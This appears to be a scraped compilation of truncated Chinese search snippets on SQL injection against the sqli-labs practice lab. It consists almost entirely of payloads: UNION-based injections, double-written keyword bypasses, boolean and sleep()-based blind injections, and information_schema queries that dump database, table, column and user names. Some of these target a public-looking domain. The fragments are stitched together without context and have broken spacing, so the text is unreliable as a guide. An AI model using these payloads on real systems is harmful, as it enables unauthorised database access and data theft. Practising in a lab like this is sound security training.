注入语句格式1:0' union select 1,2,3--+ #涉及到or和and的双写绕过即可:payload:1'anandd1=1--+或2oorr1=1注入语句格式2:1'anandd((length(database())>3))anandd'1'='1#bool注入注入语句格式3:1'anandd(if(length(database())>3,sleep(10),1))anandd'1'='1#延时注入注入语句格式4:0'...
?id=-1') union select 1,database(),version()--+ 查询表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ 查询列名 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_na...
unionselect1,user(),database()--- 显示出登录用户和数据库名 unionselect1,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='security'),3--- 查看数据库有哪些表 unionselect1,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_schema='securit...
union select就是联合注入,联合查询的意思 from来自 information_schema是MySQL自带的数据库 group_concat将值连接起来 where来自那个数据库或数据表等等 爆列数(关键命令采用双写进行绕过)1' oorrder bbyy 4# 1' oorrder bbyy 3# 可知列数只有3列 查位(关键命令采用双写进行绕过)1' ununionion seselectlect 1,...
paylaod:-1' UNION select 1,2,3 --+ 爆库名用mysql 自带的函数 database(),我们替换到对应的回显位 SELECT * FROM user where id='-1' UNION select 1,database(),3 -- ' LIMIT 0,1 然后再报表名 http://172.16.225.128/Less-1/?id=-1' union select 1,version(),GROUP_CONCAT(table_name...
http://localhost/sqli/Less-2/?id=-1' union select 1,2,3#第四步:查看当前用户名和数据库名http://localhost/sqli/Less-2/?id=-1' union select 1,user(),3#用户名为 root@localhosthttp://localhost/sqli/Less-2/?id=-1' union select 1,database(),3 #security...
http://zcxy.535yx.cn/sqli/Less-1/?id=-1' union select1,2,3--+ 这里我们就知道了我们可以在2,3处插入语句来获取我们想获得的信息 代码语言:javascript 复制 数据库版本:version()数据库名字:database()数据库用户:user()操作系统: @@version_compile_os数据库路径:@@datadir ...
?id=-1’unionselect1,database(),3%23 回显如图: Paste_Image.png 从而知道了当前使用的数据库的名字是 security。 爆出所有数据库 还有一种方法,可以爆出所有的数据库名,payload: ?id=-1' unionselect1,group_concat(SCHEMA_NAME),3frominformation_schema.SCHEMATA%23 ...
http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,2,3 页面有回显位,直接可以爆数据了,和上一题基本一致,payload如下: 数据库名:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1,database(),3 表名:http://192.168.237.1/sqli-labs/Less-2/?id=-1 union select 1...
unionselect1,2,table_namefrominformation_schema.tableswheretable_schema=database()limit1,1--+ 第一个表 将limit 1,1替换为limit 2,1,limit 3,1……就可以得到所有的表。并在其中寻找对我们有价值的表。 查询表也可以使用group_concat()命令: ...